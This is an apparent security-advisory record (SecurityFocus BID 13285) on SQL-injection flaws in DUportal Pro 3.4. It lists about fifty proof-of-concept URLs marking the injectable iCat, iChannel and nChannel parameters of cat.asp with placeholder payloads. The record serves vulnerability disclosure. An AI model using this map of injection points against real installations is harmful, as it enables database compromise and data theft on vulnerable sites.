62 lines
No EOL
6 KiB
Text
62 lines
No EOL
6 KiB
Text
source: https://www.securityfocus.com/bid/13285/info
|
|
|
|
DUportal Pro is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.
|
|
|
|
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
|
|
|
|
These vulnerabilities are reported to affect DUportal Pro 3.4; earlier versions may also be affected.
|
|
|
|
http://www.example.com/dUpro/Businesses/cat.asp?iCat=548&iChannel=18&nChannel='SQL_INJECTION
|
|
http://www.example.com/dUpro/Businesses/cat.asp?iCat=548&iChannel='SQL_INJECTION&nChannel=Businesses
|
|
http://www.example.com/dUpro/Businesses/cat.asp?iCat='SQL_INJECTION&iChannel=18&nChannel=Businesses
|
|
http://www.example.com/dUpro/Classifieds/cat.asp?iCat=218&iChannel=7&nChannel='SQL_INJECTION
|
|
http://www.example.com/dUpro/Classifieds/cat.asp?iCat=218&iChannel='SQL_INJECTION&nChannel=Classifieds
|
|
http://www.example.com/dUpro/Classifieds/cat.asp?iCat='SQL_INJECTION&iChannel=7&nChannel=Classifieds
|
|
http://www.example.com/dUpro/Events/cat.asp?iCat=248&iChannel=6&nChannel='SQL_INJECTION
|
|
http://www.example.com/dUpro/events/cat.asp?iCat=248&iChannel=6&nChannel='SQL_INJECTION
|
|
http://www.example.com/dUpro/Events/cat.asp?iCat=248&iChannel='SQL_INJECTION&nChannel=Events
|
|
http://www.example.com/dUpro/events/cat.asp?iCat=248&iChannel='SQL_INJECTION&nChannel=Events
|
|
http://www.example.com/dUpro/Events/cat.asp?iCat='SQL_INJECTION&iChannel=6&nChannel=Events
|
|
http://www.example.com/dUpro/events/cat.asp?iCat='SQL_INJECTION&iChannel=6&nChannel=Events
|
|
http://www.example.com/dUpro/Files/cat.asp?iCat=196&iChannel=4&nChannel='SQL_INJECTION
|
|
http://www.example.com/dUpro/Files/cat.asp?iCat=196&iChannel='SQL_INJECTION&nChannel=Files
|
|
http://www.example.com/dUpro/Files/cat.asp?iCat='SQL_INJECTION&iChannel=4&nChannel=Files
|
|
http://www.example.com/dUpro/home/../Articles/cat.asp?iCat=238&iChannel=2&nChannel='SQL_INJECTION
|
|
http://www.example.com/dUpro/home/../Articles/cat.asp?iCat=238&iChannel='SQL_INJECTION&nChannel=Articles
|
|
http://www.example.com/dUpro/home/../Articles/cat.asp?iCat='SQL_INJECTION&iChannel=2&nChannel=Articles
|
|
http://www.example.com/dUpro/home/../Businesses/cat.asp?iCat=548&iChannel=18&nChannel='SQL_INJECTION
|
|
http://www.example.com/dUpro/home/../Businesses/cat.asp?iCat=548&iChannel='SQL_INJECTION&nChannel=Businesses
|
|
http://www.example.com/dUpro/home/../Businesses/cat.asp?iCat='SQL_INJECTION&iChannel=18&nChannel=Businesses
|
|
http://www.example.com/dUpro/home/../Classifieds/cat.asp?iCat=222&iChannel=7&nChannel='SQL_INJECTION
|
|
http://www.example.com/dUpro/home/../Classifieds/cat.asp?iCat=222&iChannel='SQL_INJECTION&nChannel=Classifieds
|
|
http://www.example.com/dUpro/home/../Classifieds/cat.asp?iCat='SQL_INJECTION&iChannel=7&nChannel=Classifieds
|
|
http://www.example.com/dUpro/home/../Entertainments/cat.asp?iCat=595&iChannel=19&nChannel='SQL_INJECTION
|
|
http://www.example.com/dUpro/home/../Entertainments/cat.asp?iCat=595&iChannel='SQL_INJECTION&nChannel=Entertainments
|
|
http://www.example.com/dUpro/home/../Entertainments/cat.asp?iCat='SQL_INJECTION&iChannel=19&nChannel=Entertainments
|
|
http://www.example.com/dUpro/home/../Events/cat.asp?iCat=247&iChannel=6&nChannel='SQL_INJECTION
|
|
http://www.example.com/dUpro/home/../Events/cat.asp?iCat=247&iChannel='SQL_INJECTION&nChannel=Events
|
|
http://www.example.com/dUpro/home/../Events/cat.asp?iCat='SQL_INJECTION&iChannel=6&nChannel=Events
|
|
http://www.example.com/dUpro/home/../Files/cat.asp?iCat=197&iChannel=4&nChannel='SQL_INJECTION
|
|
http://www.example.com/dUpro/home/../Files/cat.asp?iCat=197&iChannel='SQL_INJECTION&nChannel=Files
|
|
http://www.example.com/dUpro/home/../Files/cat.asp?iCat='SQL_INJECTION&iChannel=4&nChannel=Files
|
|
http://www.example.com/dUpro/home/../Links/cat.asp?iCat=6&iChannel=5&nChannel='SQL_INJECTION
|
|
http://www.example.com/dUpro/home/../Links/cat.asp?iCat=6&iChannel='SQL_INJECTION&nChannel=Links
|
|
http://www.example.com/dUpro/home/../Links/cat.asp?iCat='SQL_INJECTION&iChannel=5&nChannel=Links
|
|
http://www.example.com/dUpro/home/../News/cat.asp?iCat=250&iChannel=1&nChannel='SQL_INJECTION
|
|
http://www.example.com/dUpro/home/../News/cat.asp?iCat=250&iChannel='SQL_INJECTION&nChannel=News
|
|
http://www.example.com/dUpro/home/../News/cat.asp?iCat='SQL_INJECTION&iChannel=1&nChannel=News
|
|
http://www.example.com/dUpro/home/../Pictures/cat.asp?iCat=206&iChannel=3&nChannel='SQL_INJECTION
|
|
http://www.example.com/dUpro/home/../Pictures/cat.asp?iCat=206&iChannel='SQL_INJECTION&nChannel=Pictures
|
|
http://www.example.com/dUpro/home/../Pictures/cat.asp?iCat='SQL_INJECTION&iChannel=3&nChannel=Pictures
|
|
http://www.example.com/dUpro/home/../Products/cat.asp?iCat=231&iChannel=8&nChannel='SQL_INJECTION
|
|
http://www.example.com/dUpro/home/../Products/cat.asp?iCat=231&iChannel='SQL_INJECTION&nChannel=Products
|
|
http://www.example.com/dUpro/home/../Products/cat.asp?iCat='SQL_INJECTION&iChannel=8&nChannel=Products
|
|
http://www.example.com/dUpro/home/../Topics/cat.asp?iCat=465&iChannel='SQL_INJECTION&nChannel=Topics
|
|
http://www.example.com/dUpro/home/../Topics/cat.asp?iCat='SQL_INJECTION&iChannel=16&nChannel=Topics
|
|
http://www.example.com/dUpro/Pictures/cat.asp?iCat=206&iChannel=3&nChannel='SQL_INJECTION
|
|
http://www.example.com/dUpro/Pictures/cat.asp?iCat=206&iChannel='SQL_INJECTION&nChannel=Pictures
|
|
http://www.example.com/dUpro/Pictures/cat.asp?iCat='SQL_INJECTION&iChannel=3&nChannel=Pictures
|
|
http://www.example.com/dUpro/Topics/../topics/cat.asp?iCat=483&iChannel='SQL_INJECTION&nChannel=Topics
|
|
http://www.example.com/dUpro/Topics/../topics/cat.asp?iCat='SQL_INJECTION&iChannel=16&nChannel=Topics
|
|
http://www.example.com/dUpro/home/../Topics/cat.asp?iCat=465&iChannel=16&nChannel='SQL_ERRORS
|
|
http://www.example.com/dUpro/Topics/../topics/cat.asp?iCat=483&iChannel=16&nChannel='SQL_ERRORS |